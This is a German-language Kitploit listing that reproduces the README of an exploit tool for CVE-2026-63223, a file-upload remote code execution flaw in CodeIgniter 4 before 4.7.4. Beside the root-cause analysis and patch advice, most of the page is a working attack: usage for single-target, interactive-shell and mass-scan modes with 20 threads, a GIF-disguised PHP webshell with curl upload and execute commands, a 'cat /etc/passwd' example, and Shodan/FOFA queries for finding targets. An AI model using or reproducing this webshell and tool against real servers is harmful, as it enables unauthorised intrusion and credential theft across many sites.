Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in Datei-Upload-RCE. Magic-Bytes-Umgehung (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-63223
Web-SchwachstellenscannerPayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in Datei-Upload-RCE. Magic-Bytes-Umgehung (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

Repository anzeigen
14vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-63223 — CodeIgniter 4 Datei-Upload-RCE

Magic-Bytes-Umgehung → is_image/mime_in → PHP-Webshell → RCE


Übersicht

CVE-2026-63223 ist eine kritische (CVSS 9.8) nicht authentifizierte Schwachstelle zur Remote-Codeausführung in CodeIgniter 4, einem PHP-Webframework für Full-Stack-Anwendungen, die Versionen vor 4.7.4 betrifft.

Die Schwachstelle nutzt die Datei-Upload-Validierungsregeln is_image und mime_in aus, die (Magic Bytes) prüfen, ohne die vom Client gelieferte Dateinamenerweiterung zu validieren. Ein Angreifer stellt Bild-Magic-Bytes (GIF89a-, JPEG-, PNG-Header) vor PHP-Code, benennt die Datei , besteht die Validierung und erreicht RCE, sobald die Datei in einem webbasiert zugänglichen, PHP-ausführenden Verzeichnis landet.

nur den aus dem Inhalt abgeleiteten MIME-Typ
shell.php

CVSS: 9.8 KRITISCH — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Entdeckt: 31. Juli 2026 | Advisory: GHSA-mmj4-63m4-r6h5 Behoben: CodeIgniter 4 v4.7.4

Betroffene Versionen

VersionStatus
< 4.7.4Verwundbar
4.7.4+Behoben

CWE: CWE-434 — Uneingeschränkter Upload einer Datei mit gefährlichem Typ Referenz-PoC: imbas007/CVE-2026-63223-POC


Schwachstellenmechanismus

Grundursache

Die Validierungsregel is_image von CodeIgniter 4 führt getExtension() — das die aus den Magic Bytes abgeleitete Erweiterung zurückgibt (z. B. gif) — über Mimes::guessTypeFromExtension() aus, um zu bestimmen, ob die Datei ein Bild ist. Die vom Client gelieferte Dateinamenerweiterung (getClientExtension(), z. B. php) wird niemals geprüft:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

Warum es funktioniert

  1. getExtension() ≠ getClientExtension() — erstere wird aus Magic Bytes abgeleitet (gif), letztere aus dem Client-Dateinamen (php)
  2. Validierung vertraut Bytes, nicht Namen — is_image besteht, weil Mimes::guessTypeFromExtension("gif") image/gif zurückgibt
  3. Datei wird mit Client-Namen gespeichert — $file->move($path, $file->getClientName()) behält die .php-Erweiterung bei
  4. Keine Gegenprüfung vor v4.7.4 — keine Validierung, dass die Client-Erweiterung zum erkannten Typ passt
  5. Webzugriff auf Uploads — standardmäßig öffentliche Upload-Verzeichnisse liefern PHP-Dateien direkt aus

Angriffsablauf

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

Der Fix (v4.7.4)

Der Patch fügt hasInvalidImageClientExtension() hinzu — prüft jetzt auch die Client-Erweiterung:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

Die wichtigste Änderung: is_image validiert jetzt sowohl getExtension() (aus dem Inhalt abgeleitet, für die eigentliche Bildprüfung) als auch getClientExtension() (vom Client geliefert, um Nicht-Bild-Erweiterungen wie .php abzulehnen).


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

Verwendung

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

Argumente

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

Proof of Concept

Einzelnes Ziel

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

Manuelle Ausnutzung (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

Auswirkungen

Eine erfolgreiche Ausnutzung führt zu Remote-Codeausführung als Web-Server-Benutzer:

  • Beliebige Systembefehle ausführen
  • Datenbank-Zugangsdaten aus .env-Dateien lesen
  • Persistente Hintertüren installieren
  • In interne Netzwerke pivotieren
  • Die Anwendung defacen oder kompromittieren

Es ist weder ein Konto noch eine Authentifizierung erforderlich — Upload-Endpunkte, die is_image/mime_in ohne ext_in verwenden, sind standardmäßig verwundbar.


Der Fix (v4.7.4)

  1. Upgrade auf CodeIgniter 4 v4.7.4 oder neuer
  2. Workaround: is_image/mime_in mit der Validierungsregel ext_in kombinieren
  3. Uploads außerhalb des Web-Roots speichern und über einen readfile()-Proxy ausliefern
  4. Serverkontrollierte Dateinamen mit getRandomName() erzeugen

Haftungsausschluss

NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.

Nicht gegen Systeme ohne ausdrückliche Genehmigung verwenden. Die Autoren übernehmen keine Haftung für Missbrauch.


Referenzen

RessourceLink
GitHub-SicherheitshinweisGHSA-mmj4-63m4-r6h5
Referenz-PoCimbas007/CVE-2026-63223-POC
NVD-EintragCVE-2026-63223
CodeIgniter v4.7.4Changelog
CWE-434Uneingeschränkter Upload

Nicht mit der CodeIgniter Foundation verbunden.

Tool herunterladen